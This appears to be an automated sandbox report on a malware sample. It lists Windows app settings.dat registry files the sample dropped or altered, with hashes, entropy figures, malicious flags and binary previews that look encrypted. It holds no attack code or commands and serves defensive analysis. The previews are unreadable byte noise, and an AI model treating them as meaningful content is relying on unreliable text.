Preview:	regf...'.......JQ.1.&N...%.{F.U..@..!Y..j..?..`....z\.6...O.<..6.xi....()........./b{Wv.bmX]TiX.4.~...$.B8....;.qk....?..s.7u..:H.......]..{.Z...@ah.\.$k.8M..8a.\..]/j.i.U.m.D6%......?.M.6.Q4...u$..0e...4......3X).R..+.!......t.XK.&....(v..6+^.g.Kb.Y......."X....#...!.....t.._...&..B..?U}J-..TXW..".R..^.I.a.A\|2......\|&.Q.:..H. %...'...~..v=...3......../m..:.R......S.$...N.&......[Q./.........`..)...~v...f...I.../.y..W8.......$.f[...g.4y.... .P(..S.0%?....s....A.f)0.h.N.#.u4....E%}.\|.h...Z.I....hV..........[....t.xy^.]-.v02.F..".$.........[p...8_.....G....B...bj.!e..\|e.]..R\|jt$....;...~...Y+...f'.6.P[.H....-...o#.AI.......-1' .a...3...i......y.9.A.S.$.a...t)v....gJ.<g9..v.......^f.[...!...5.T\|P.....w.T...#)...Y/N..\|.K..+.X..[.q1&...!-8E....IP.Z..;CX.A ....q...i.SrH..w...'..`......Xh.^.M...Z!_..Y5....:O.$M.M.49.B._.M(i...<...0.8.eO...a.....{.0....(.$F.fq..^.).B..f.f.F.)...3].o.H..G..(&..25.k.7[.=D....w..._.5.....#K_.`$.r.ja.VB._..h..0.u.j...

C:\Users\user\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9766147731584685
Encrypted:	false
SSDEEP:	192:bjPIpNKts2kO4gbo5BEq2ClGkQNyJcjYhmwGpLtUkQ6gmWBx:bjIp3BngyEqrq4mwGfiP
MD5:	52C31D0926FC24183F00A89A8CF4FF0A
SHA1:	37325748D18FD04B4E152A25D7543999937D2DF8
SHA-256:	9F8CD7A6FE68F502C441460EEDCD7672EA9287842443D9908F95828B19313A40
SHA-512:	8C64B97CE3108DEE0F823DF823D5B9272752B16F8B6691C1994133D664507BEF9A16CB32D3937CA097310944655C9F09DC1A244FE6FE2A6CECD63A9B17BE9779
Malicious:	false
Preview:	regf.b....f..?.0_.....7.s..........+.q....P..x....D.B....0...Np..F.a.#..-x...5.DgDmv..........=.AcF...0...ew.}.....\6W..s?.>..L.+....l.$....#...@...^.#)k.h.:Pc4..7F..2.yW,."..M...Z1.V.H..p..AN...3.B.^...y.:9$........z..QZ.B("..k..T.fh.#....'.o..a... .. ..g....H.s..{.}..8.-..T....Zy.WW.......).$..X...EM..Ll.m3^.f[N...&5.SX..?w.>.e.{.e.._...:......i1..%s2....i......v"....w..Y..H.E..].....u.{^..hX.a.#..C./O!...E4....m...C.....i..R[7<...l.z.S.2...........u.....p........!K=.....w.. .i..5F.D+....f.N%....K....ye.Z..I- ).b."L...g.".hO....Gxw.t}...i...{%.i.I(.U..`.0...y"q..q.J.=..'T..p.m3......<......w.o.>.f..@....R;....PcYV.^...2041'...=..H.......A.....\|.7J.A.9..u..{_.....c..qu..O.9.u..zz....`.I..;.....p....1...\.Z.....\..Al@r8G....l.+...Hj...............W.m.F;.......YuF...{.4..l....B1..v.<.'T.1....p......I<.Y.n.5.;p.w....r..../....]y..@y..o...}..i..Pk.7...V9...-.....\.Cm$.F.n*...n.....l...,.Z...5ZX../J...N..1......(.Ez

C:\Users\user\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981461295620935
Encrypted:	false
SSDEEP:	192:ilCuQuqgNAxVO1Z7ZBfydoBctBK6fZAwwJ1UkH:ilIulOxSpZIoBc3K6Re1UkH
MD5:	FFA1F33FBB0248D16DF7DB434B0E238F
SHA1:	4219FE10738F0CD681E07B39897E8AD4AC79AC7A
SHA-256:	54DD99D66578C50A5F58330B46657DCCA64D2E1AEFC07326CB45C4846BF6542E
SHA-512:	82686831846638D7F23ECFE3EC6C60DE86788D50C76B4CB1D710887030A990140EBF454B339D09761FF9133BBBC957B6C84BD56362E2D6409F12C99A1A8E263B
Malicious:	false
Preview:	regf...Wh\d;.....HY.....h.q\|.L..B..6.G[.......,6.!.g.2.J...B.}...1L(..ei......k.}.....N^...[..>...28.E06P.{Od]...<...y.V...."@..=.......Y`.....X..!{....XH.........f......0.xf...n.....Q4R.\|.e.^....r......x..u...{9..$$..}d%}.~]m..:./.......d..M.....dc.!.\E.E....8.."..'.;.:.IU...-...f..H.......K:X<.[Su..A.-......m.b..KF.5...<.....2.z.6X....i...j.u.n..!...Q.V......AY.:eC7.^}...Z.2%..$.m."..Iv....m..."M..X.j2.........1.=.T ."C.h..f.\|.WQ.Ua..@]...O..../.._.......>3%[u.........(..`..a......I......?y7.8..U...a'.._.7........NX.^...8o...z.g3."tx.V......<.1.+.....P..z.V?&....." ..h..n..........g.J.......~.\..&.........'.M.8..".36.k....BO^^'..+.P.<.u..E..j>s,.j^K.F.^.j...R.......@.a...Q S $.... ..H..3h..}..j-.0..*........B......{...\..b..4\..%A..YZ.:..a{x.1.'. .v.5...u...W!.'.........G.Y.....z...x.+a.1...g!...._...e.x.B.'..>.Zg.G.1f..@.DC....ls.z...9W..D)C.4@.......T...mJ...1S7.......hL.P.r8.D.....j.M..........w../.......P..2.........

C:\Users\user\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979379003658015
Encrypted:	false
SSDEEP:	192:mtvsaCnPiGwkdgfTID7WC3DER6XEU4Q6G5jTd2f:BznPiGwkmbID6gGkEOd5nd2f
MD5:	EA2AFA96A3EED5D0E0DABCC4CFF27112
SHA1:	BC7A6D22BB66AACB5089DDEC3D345C05D1EEAAC3
SHA-256:	A5D043C4B5171779A3C3CA91B6090A9DD7ECF272694AA1A2DF9AB20580D999A7
SHA-512:	E633E0A55F139E3CFAE967371C7207FFB74B3FE33B37C8E1F162E81564409314BEEEE169EF84E2FE48B946F75978881A7D98C4C2524603C4D62579458DA637E8
Malicious:	false
Preview:	regf....f..A^..Js...`.)\|...x.9Q1....O~...@...H.{u..RR...Mdd.:......F.Y.N'.JG-g....KY.m....u..}......7@d......Z."..<.]qN../g..O^......{v.8_`.....9x7...N..#..=.h:\|g..>.X.bh.....&V&.-..Y..Z8![......r?.....6C.EoX..Rf;:....F.n.y..J0amU.....u....0E.t..u[..p#..t...4_..5.P&P..T.F.V....v....A...%.(6.Z>..5.\|...6.[..KA...;..A.<......E.`...u.mG.^A-.].......\|..L.8.Z.r..n.W....'.#...j.45S{.7O..W.9....9.V..,i$^.2Xd.N\!2.ecj..d^....W....<l...=.6.j....Huur....m.W.3t..Z..efd..!yx+>..3.#..vh.....t..KN......z.O.2...?..^="..j.....P.Oq6......a7......X.Z..[Dr...u..su.D=.B...9s.{hy....[.R.F.'..p..r.4..P...B..O..;...dY..?.%}SA...f.{...G.....-.{...n..m.FO..59..Zl..N.]... ....Dd......H<.+...u.....U..q...o.W=a.....-......]..q..$..G..AY..u!...O_..!R....H.$#..L......*.@C+..G...V..T...._.p.....T#`94...I..b......}b...L..._.B^(:\|..0b....~.<.q..3.yNc.....F\|..9...i<..#.....W..f.."....sz<.?..a0k\|..F.^..U.\+.E.]..m:....T..._.ER.E... 9.4"...E..y..'.... .)'.T7..R......`..+.[.{.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977021136385922
Encrypted:	false
SSDEEP:	192:1Tp8RCHyME3gBn/D6vI37pE/mMjXDeDwrLNeTMeMYgClsmoo:11Hyw/+vI3EmOTvoyClsm3
MD5:	797FA039E355273CCBB13AF74A455D1F
SHA1:	E4F5CD8C5BE149EA5163C65798B1FD7F553A9C03
SHA-256:	7DD508AAE6CBC266DB9EB19BE4929CA601230473EE897AC585F9C35184A3B644
SHA-512:	635B1A6CE3358657506403C2A08BB782565A3A333684AF4A398F559B3006D8138658EF1D6643CB0C4BDF1A59142DF8F15514FA2A63F89BD7999A36CC0921481E
Malicious:	false
Preview:	regf.:C..........&.....rub....0......V<..6.1.....6eA..E.+ggk..r..^...\|csk.k/.8'u.m..c...n.....ez.[<.o..,.....kf...x,...ro.H.....k......PH..y...<....+..AP&#q.O..$..%.c..2]MX..I.H..Y.E`..he.v-.i...7.3Q.T...U........c..N.[.^..].Bp.\..kz/.>.7.LouD.me......5.......Bi#.u..x.uF..6..R.qh..2/.9n..@..5.....^."/.6...gB.F.'..2.Z..\|...........>.9..Y.W..$Y...s..4.X!f.y.z_W3.....F.\|....l.....Tx...cnSU.{B%.i..c[...]I"...8...G`....xS.\.b..N.'...K]m.-..&.{"$.....b..2`..kd..b.....9..N.~10...9-..;...........#.w...o.......?\|...A....4&v..kQ.l.m.......`..>q..V.......8..m..J......!R.........O$du....wB.sh.n....=.f99.P....h..W:/....D3....=......W.?...8.@.{.:.7.d.ul......z.d/...q;....>... h... ._\a..1o.w.N..=......-].4..l.u^#.*..%....#b(.v.....].4.K..!.[r.G.R.WahGdV.'Q..>g..y...(.=.7.?[.m.............e.....U..m.Ml~..a..3A..A.s....NenF..=....C.-t+E..s.A..9A..k......=j.;.}A..AIx^...!.I,....=...m&E&..P.r.4...e8.G5.`CN.N.?b...4...3(w'.].q...,.5/}<.Ad.L=..#.....C..W

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979392187289176
Encrypted:	false
SSDEEP:	192:XSowN3EhmwASJTgzhkLg2ZtOGt1V7IR/hwM5mx+62dhO5M:i6h0Sezus2ZtH1tAZ7gxs/Oi
MD5:	0FC6CDEAA1FCEAE5D786E92F02C07EFF
SHA1:	E0F92C98DD01753FA49FB98141ABCBE33A4133EC
SHA-256:	6436D7098F3267D43F98C63948FD732C4F602C62314A36A1DE37B76435F4C3E8
SHA-512:	EDFE9B16AE341395C20CB36FFEB9C6C3EA484E660DAB9AEA6DA5772B0AA0C6857BE4BE15831785346E53F09140953840CF9C15FFA1BDA9E96A8A241018B600B9
Malicious:	false
Preview:	regf.l.RtT.aC.H.8.w).....U....U.$@....hb .-/?....cB'.d.=..;'.`.>......v..K........2>.2j....>.y ..D.R...B#5(.......ypG..{..'..e..m..b...........w =..6.>!.).C...fTeQ.z.o.>.......;W..3..B.9..L.0N.....f.......e..Aw...c.}^..8.......P.NO'..S...:'.....-....A....9k.NV.s......%\..x...z..:.s..;c.,...Q.qZ.yIT...E."..Fl....M..q:....RW..-(...'..h...`.% N........,....}..]0H..q...."?.&#....jj2G..@I.e....g..Q....H(.....,.....l....>L.)L..8.Ub.....D..i.IF .....U@l......t.%...Z..h:.V.W..W320..E.Li.~:#....S.....E...].....<h.d.....+B...t...H....(.".,$ u...k.oh....n...;.6.....4r.....aL.Q.=...6..O.......b>..r.W0u..../u.[..O\|.r....c5t.1...7.K...G.l..o...R4.'$.....}....w...Te......O...-"5..._..>:m.J...4....x.......Y..4...4.gc4.\|...a...X.E.\.+_+.[.......B\.P.."..aL..\Vk.......Z...f..r... .Kz.._..+jK....nm..s2..8..]A..B...m..'.fQ.;.G...xj&{.w%<.z..w...uS!. ^.^....\|9?.d+...o.\.r..`.6...b...a.+........j*}m........%r.wk.x...Z$\dg..S.`.l...&."....z..N.;g~.R....S..T+.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980497256770976
Encrypted:	false
SSDEEP:	192:Mv5bJ8kBa1Jy7SjN4et5aYV7m0y4AIeC9/pxwyC6xzEH9n:MB+Fmm4yJAIe6M96xzEH9n
MD5:	389D702BEA90A33365F9A234283DA83C
SHA1:	38914EF6DA38EE0BFDE3D4AED51A34EB5849C1E4
SHA-256:	85A558385560E078AED9FBD329101815C880D9134F1094D107DEAE603C9D8D4E
SHA-512:	AD11A7F5F7E274E0F1236BE16F54FAF43CF3B7D629A4005290A5F4A8E4D73E74D245E8BD77DCBFD6AE5646553ACF76CFEBB10D8D69B72E69412899C36F9D2D95
Malicious:	false
Preview:	regf.......F<.1..b.5..q...,....BZ...U.b...f..n.i;..!`/.\|...5.F.W.........M.....#6#.\By&..n...@....$$..;.u.....<^.................Y...........N.\|A....D.../..;..x...(...Rp.&.\|C.pP.....OB..9(D....@......~.t.!.-.........78..\..ZK...X.Iv.F...%..:R...J....;.{&.<......!..r...A.B.a..])..#b\|.:...5...T.."...=..@..vCI.O..&....=.."!l\|.6...q.....1.....,..WWy..77U%.0..d....:(\...^...4._..1..cQq!S../...O..?....WF}.+..S.6.&z..aO....z...../...~.]H.......?.....S-.w.....7ZM..^..!raM..........c...?...?$.I.n...d..'.4\.X.C.a8...V..S{_S..9...RMA..x.y[3o8K...GB..Lt...8."K..V....F&.S^.9....I.._'......Jlm).%.....~.K......c.\.........B.&..5...[$.p..u.......p.0]Z..$.....M..\|..5.......U.x...t..t.z.......jK....:./......7N...cU.........E.T...j..~....mS.G.,.g.f{...K..>r.....ai....xK<..K......Bj...y$X..l......\|..2;....t$........fZ.....L.,..x...Y...h.....s.F,.K.]U....Y...`.y...O...&V$.....x....ML2.t......6.Z.....O...&U.6:vW....n.w.7.....W.U..W...h}.iC..I

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979772120771745
Encrypted:	false
SSDEEP:	192:mKqKq36iwLKyFZsPeDqAxiru74yDupq+y2Va2pvcXj:mKqKu6inyHs1AMr6uVTvcXj
MD5:	EF09DB4036CAC92E6BBF45F6A23B9719
SHA1:	EACFAD8453A0B7B11914AA8A538F67DC2B8103F6
SHA-256:	1D8A467A4D252EBD617C773AD9D7F149C50B77C6662AEB1D9B4BE9749328E35B
SHA-512:	9BD7A0D88D67ED5582157CC444E961CF7C6BBFCB958405BC1FBF6760B84518A60C59B972A3CDC741E2A57C2C65B91E7CECBA0F6DA533D4C43EA475E78F17A5B6
Malicious:	false
Preview:	regf.I3.;..^...+..._[.r..z..7....8.X.A.\.H.?'`...F\|.9.FC[....s.B?.......P...X..].i......;~X^y3...Fd.g...f.mJ...S....ZM;..zn.q.X..Dl...kK..LD.m..Y....7..#...7~..<..Xc.Gqru. ..m2h`U`...EH'...CH..X....D....N.......Km.....6...\$...............GB..Fx.l...z^....S..........H.....M.Zb.;....M...-K....'^.H..t..q.p.vg.z]QN...w.u6{...$.c...../..I.v=0.J,....l.'U.F..9.\U...1...i.....2/.._.6^..i:.............?......C&r.j.=+;...30 _M..".#x..L....4.....m;..2..Ze.FX..d..@o...Z...u.....Y.<..i..AFq<.?...}R.....v.......9G!....z2l2.....7.....V.....dVnC.,a<.w........Mi....V....#..R..f.........,.o...O19AJr...{...c.E..j..G....F1.{(o?...2eoG@.V....F....23A.z_1.['O..U[.E.!.....w..v..BR(..q..Y......c..'.....&............Y.......abT2...]I.....]..G......H.d......G..X...1..IS.)u,.....\|....TDz....89qtn.4-....:.......]^.'3.."..~..]...C;....D......t...a.0.7...Z.....>...- J..I.B.n..cc......uK..<,..qw..z.....5..!`".<.a...:.`.S.)...WSA..........3Ll)....J.*.1...l."J"

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977591400633118
Encrypted:	false
SSDEEP:	192:QkLgp+PCubqJGmMpT1kHz7r2QhRTNHkOvxOLkY2zkx:ncpACDI3kTW4ZxJyr2zW
MD5:	95C5F047306B87A37B8B670556042C22
SHA1:	3A0FB8D530F4BE4D01A5FC1A8640EE6C332E357A
SHA-256:	20AD187EB30D49B7DDF2A6D82D4692AB1A3AAB40AFACAD441902C668B7B928E5
SHA-512:	AF35D9F1FBA0670E7FC4E5FEDE8DCBA52F632596E2E3717B40217A61F245D646B1EBE5A2BC465F699366D6D9EBF849C5516A248ED886BAEC5C941E759C33FB6A
Malicious:	false
Preview:	regf.....O}..F#.h.X.0"t2.{O.'...p...u#.LG.?._.......[....@I...fC...D..}."....N!>+.YiY.s..G....\|.+..(!...r...dT#..L...)MMB..rf..Y.f...TM\..m....LN&......&.x;......J.t5......E.e...^P.8j....7..........<.e.@..9......y6y...>.dkz..i.w....X,....D.....RE.S......k...a........yJ$..F....P.1.1.J.1..9..e.V....yh...v.v.t......m1A.....s.y..7n..I.H..8..7....bQ3....x....zsq...K.E%5{..E......bT...z...e)\|..!@...S-..87O..5km.....!'.......D-.....f.)M_>.b.gB4(......G..O..#...w;..`.N#}....a...!1.L.".5..]...q.N..g4.).;..:.....,Le8..,.....1.......P...rW^G...41..C;xbb.p....k..c.{...I.j\|......P......gH...<..z...#.....1t...J.#...L..Q..&......NN.....v6.....#'......T$...4.{....T...f~%"Q.g.O.z6.}.A....rt......7.pW.<.q.l..u..4...t.v.../e...wk..w.]...e_3.O.C....1..h..e?.%`.>....;....I.+./...}^s...9.....@.(..:.>{f4.'Tk.......U.L..5.y.....r..)...d....&...S..@".n)...zg..3....A.<U.z..dT...sx....;3.=...O....&KZ.Kg...f..Fj...P..2..5$eh...\|3@.~....cD*....,$R...t......Q..WfW. E

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978131810966644
Encrypted:	false
SSDEEP:	192:89DicOWeZCaI/A53ABkS5EaBpK/9oPaH2iEXqWkYbmNJE:RcFkCc53kkzanKaP7XXaNO
MD5:	72C1CB3375AF24AF8D09DC1DEB13E486
SHA1:	C257B170F884130E58E8B5586E27A88342F3A6E1
SHA-256:	3C92E40C911B5B5645B46805E93062B09F31AF93C35A6556030C46AB54D6F761
SHA-512:	F31A4EA013A899255ECFE7E374F20F857B3ACC8B539FF387E9BF1A4B862FBBB41C5503D001E3F85CDE4E000B069C2F72E49F3E82A38E3134707AB6D0B041F9E6
Malicious:	false
Preview:	regf..y..+.,....U9....T.GB..........F._.."pc..t.E...NCi....bvr.m..T..v..+t..lAU{..c7kK...7..6.n.y..Y..F..]..ulH...U.mZ7s..I.mCU.^R......b'..)LBg.f....d......0I.....hX~..\|.6..[{.YR.\|.V.3h....Kx...a?&x..x.[.%o:.Q........M...].q.0.Q\|J......\......#..?..7V/.....17\|<!l.M....v.z.N....#.\|+.w...Q..C]%{%h..q.2X.]......~..J...)G..V..G`...2v...^Z./...".$..+u+...\|..P....gqG].e.....9.....ge...l=d=q.7........'.`...1).1.U.qV..w0......o.L..vk..f.f...?.n..J.DNnO...!.?FX}.Xd....7.........._V..=.....+.f..-...d=7.GH2.K3N...).. U!....s.U.:.5..3R.$9....T....i.B{.."...;....}='l....77^k.....6..r...3.ir......0J._...L..'.~.Au...8..Cd.Rk!...Ga>.........O.N.Y.....6..cf.O.+...Y.!l...G>L..i...../C.z../..N.m..`.."...Cx8.#.Kp..V.6.i.z~.\..I...{%..\|..p....../.D.){'..?<....\..L..B..Z.$....U..&..Wg..= ...........J..v=Rs]...wW.....1....k.C iy..;..d`....VZ.......GB'.XV.w.%%.}..2.a.W......W.u.pVkH...}..Ioo.]..j. .....m.s7:..._..d.n#6.'.....zAL.6.q.m..P.c....Uc.*...U..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.649163491968456
Encrypted:	false
SSDEEP:	3072:zqLErTFMHAjC6AupNaXm9X3dI8H4eAe6O9IiOV4cz1EbBnqJ+jUlLY3:+4rTcAqUa5vle/i4cq1S+MLY3
MD5:	6692A4899EC890A5C84EAFAB95A8060E
SHA1:	9FBBFD6D9449D1875E2DC1AF591CA66FF33BE0D3
SHA-256:	AADB5309E4FE38359644753BF31B839ABAC202853857A120867134DB56B52C22
SHA-512:	3C47C52651EA9E611921DCE611804D8184B83EFB501163834E1726EBAD20D51C7204A25BE8E94AB4184F94DF147FDA8C5604EB5FAC611DAB9DDE6056A9D0CE1D
Malicious:	true
Preview:	regf.e.C...1P{.wB..!.;.)..,.d)....x.d.HJW..{.F.7R.t+....p.1.0o2...V!R...F.=p.Fi...........$'.>.A...L?..c+i...O..^.G.-..]..>....e['.N..........W$M..nl.P.m.~2.GW../g1;.......F,. .@......f..A'J.~...O....<$I.y.v.u.....m.$..6v...ePom#...H%..4+..FKlS.9wRA..I_fA..c.I..o....k;.....I.`.Om..NK.R.h.V;...q;RC.I.m.d.....8...O.8..]W....9......?.1.F..<.................Y4...3x=S.7W.>...K]...nX'..]'g...1/......N.e.]..x.".H.(.......(.rD:...z.v.@.E.....#X/..b&.[ok.Q.......>@..pW..fT2..>r..0.[.}C...Q^x.,I..\..QG_2..CG....q..j.I.:..~+Zd.....S..$....Yk.Mw.s..]...>.p9......!7KP.e..2..}.a,.-x$x}k]gSP....{.L...W.....^....>@m.\....PxQv.sR..V...!..~#.Z...4.D.....=K.]..].]!Ml;.N.w.a{5.Pyz-BP?y...B....28.....I.W.....BhX......NH..E..j.....u.../...[v..(vk...HC....U\|..i\...e.-G..wU....C..r....A...~...`...;..J....b.\|...Y....US.&..i.1.\.'..o.b.?.... ..........Be..9.....b.F.h.z.Z..7m.9....>5.........;.>.n~...O.....Qr.'...").._.o.-.t...U.9..n...z...z".w.l.......[#}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994572875391531
Encrypted:	true
SSDEEP:	768:f8DTuCVaNFRrKBqnQbghXEacsXHKM+zs4+nWXHBB+7kGcklRM:BC0N3KureV+0+s9
MD5:	F3DF40DC6C4952BBB5E30AEA26481046
SHA1:	729702E63CEC980944A8CD21252487132C71028E
SHA-256:	92DCA1B9FABAC194C5E1F9DFD1B688D2AEF8F7A2044BB42817F2584F712AFD0E
SHA-512:	937E45C245F61E8F997824331DE53C8CE025CCD0C363CCB8B4865F40EAB2BA2B2A7637C7A1B8339B3EB63F120C8FB544637CBB6DB987DB44C38E6190386C53F8
Malicious:	true
Preview:	regf.PB..:.W.g...O].P..A.........n.#D..{@z99..V.G.....\t......z..s.v..Y..6.l(K`.?..\..q....d.....T..Oq.H..\fz8.......?^..`.g=...I....u..,......#9.N&h..qbj,....e.x..a&..9x....&..._.iV.....b.....`._2...hr...+......q...8.Nz.^..C.I...J!....>+=~>.f<`.......;..V.......Vq.-m...5\|.......nq.Q2.r.....U.Z.b..}..TK...'...`.o...r7...;:........2.R...a[.G..#.........../G.^.I.,..3..X.z..5&t.rZ]H...p... c..r..".Q3.+[>...J."..i...n.,....0.S;S.X8.....4._0N<.......t...T..1.....\6r..Ch.....o.b.....T..~...v)p..P.{`..........Vs.r\...Q...2...N+U.....n.>...v.hB.=.0.b3.E.G.f...4....PA.x.%...,\|.\|..He;.;.cM..T..i.%.MHm.lnXc..gfls..f....<..rM....H..-.......LWW\..6[.1..W..Q......c'........[g<vP.h..%.`_.ei.9........;C.....4..{..6...].....^v...K.....5..........d.P..N.h..........C.....&b...=...<..0w#.`m.P......I^5.=...+..Q.5.....{..q/...)..s.q.V.._{..~H..Wi ...88.....b......a.ohOi..Z..\).....x.}.(S..O.............l....+............!$.G......<.^p....?....:8M....,..I8C..K*.)f..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9776004480732725
Encrypted:	false
SSDEEP:	192:dUv9jQbwLFt3lwCcIhG9yPlbaBMcpyESOuMSAKgMkKZW:dU1YIaCcCjNJXEStM4HkYW
MD5:	585E6225C6DFEFFC0A3821082F41CEED
SHA1:	B5C4F62E8FF3A8A575223C050764CAD3FBCCD16E
SHA-256:	813877E3EE58770B0086B9DAF4893F420E41A16ABDFB3E8145F18176427D7B6C
SHA-512:	5E912C1389FF5DF79A652E5839C0F753AFD6278EC0AB120703C137C01B036CC2FD6824829F66192BC0B1E09290E2831F474E4CA2999C58D7308E409C65FEEF18
Malicious:	false
Preview:	regf....!.}...{_.5...G.)....E..Z..]...DB&._..Ns%..u.._Gv3.v..hp. (q..%.$..m...u....A.l[..9$.......Z.l.....R.9j.a6.c...J...G..fb.1b...5.3X......{c..f...$..y.6.H.q.FX0....M...xW8.N7.O.+7)..._....s.^..\|Y&....T.!5%..y..t/.h.!I.%...C.JTH..2..D.J59dV......t..pl.(4.......h.[.+......4."7....).D..?..C...zu.......I!..d.p....w...O..up......"...:.'..g..'....M.....O.K,.k..e[...c.,.,...... &qtjNDZ.....Z..,.8p..d.......?..0wV. ..3.:k.#..0....I.Q..v..c...=.....(.,.#l.......<......5w.c;...n..x..f..h..6_U....>w.~.*..'0.t.....F..9g....G0.@..]W.3.I.\|.pz.Vsr...7....6.>.....S...2m.o.f..."K....&...q..84.....:..b9.7....+...'.0+..<.$9...1//.J@Y.. =hv.n.b.m..b.KJ..aj.(..o....$.oq..~..8....H/D.N./8f.U.g.0.....jF..+.W.,.g.t.....Q.h.Hx.luS....~../...XY..'.~,x.....J..1..G...Q.]..:..>.ZM8.A...e....).k.>U.:.<2>G-.C_......\|<..68\|..d..:.....].."`>....m....4.b....>...1!L....m....e.....C...}.........4.M..R.....D.Am"-i...].#.Yn~...d.WrA%..R..l.5.....u.]X.........7

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979172437910287
Encrypted:	false
SSDEEP:	192:OA8IyzpUhuzsidkAQGCe18GAZDZA7Tlahd3TxmvndSl7J:OQytAid6G118GAZDZek3UP8J
MD5:	76816442B33BD2665C12982ED8BD3969
SHA1:	4C1347AF29B872A9BCC84475C0F906E0F4E3E539
SHA-256:	D6D07DBF3FE3E2E187993E80E6C2C549088C5A97FF8492A8A4343DFAE2787D77
SHA-512:	56099FF0C781167FDFB15E4CE211069D7A50D800FD9EFC9894506A4585176299D3C79964063020489A1E8AE534874442B0512442EBD6DE0B041D108D4AB8C6E9
Malicious:	false
